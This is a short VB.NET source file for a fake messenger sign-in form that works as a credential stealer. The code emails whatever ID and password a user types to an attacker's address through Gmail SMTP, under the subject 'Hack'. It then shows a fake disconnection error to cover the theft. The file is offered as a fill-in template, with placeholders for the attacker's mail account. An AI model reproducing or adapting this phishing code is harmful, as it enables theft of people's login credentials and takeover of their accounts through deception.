Imports System.Net.Mail
Public Class Form1
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If TextBox1.Text = "" Then
            MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
            If TextBox1.Text = "" Then
                MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
            Else
            End If
        End If
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("your gmail  ", "your gmail password")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        mail.To.Add("In which mail address you want the cracked password to be sent")
        mail.From = New MailAddress("your gmail  ")
        mail.Subject = "Hack"
        mail.Body = "ID : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
        Try
            SmtpServer.Send(mail)
            MsgBox("Server Disconnected! Uninstall your messenger and reinstall it and then try again", MsgBoxStyle.Critical, "Disconnected")
            Me.Close()
        Catch ex As Exception
            MsgBox("An Error Has Occured... Coudn't sign in", MsgBoxStyle.Exclamation, "Error Please Retry")
        End Try
    End Sub
 
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        MsgBox("Sign in first", MsgBoxStyle.Exclamation, "Sign in")
    End Sub
End Class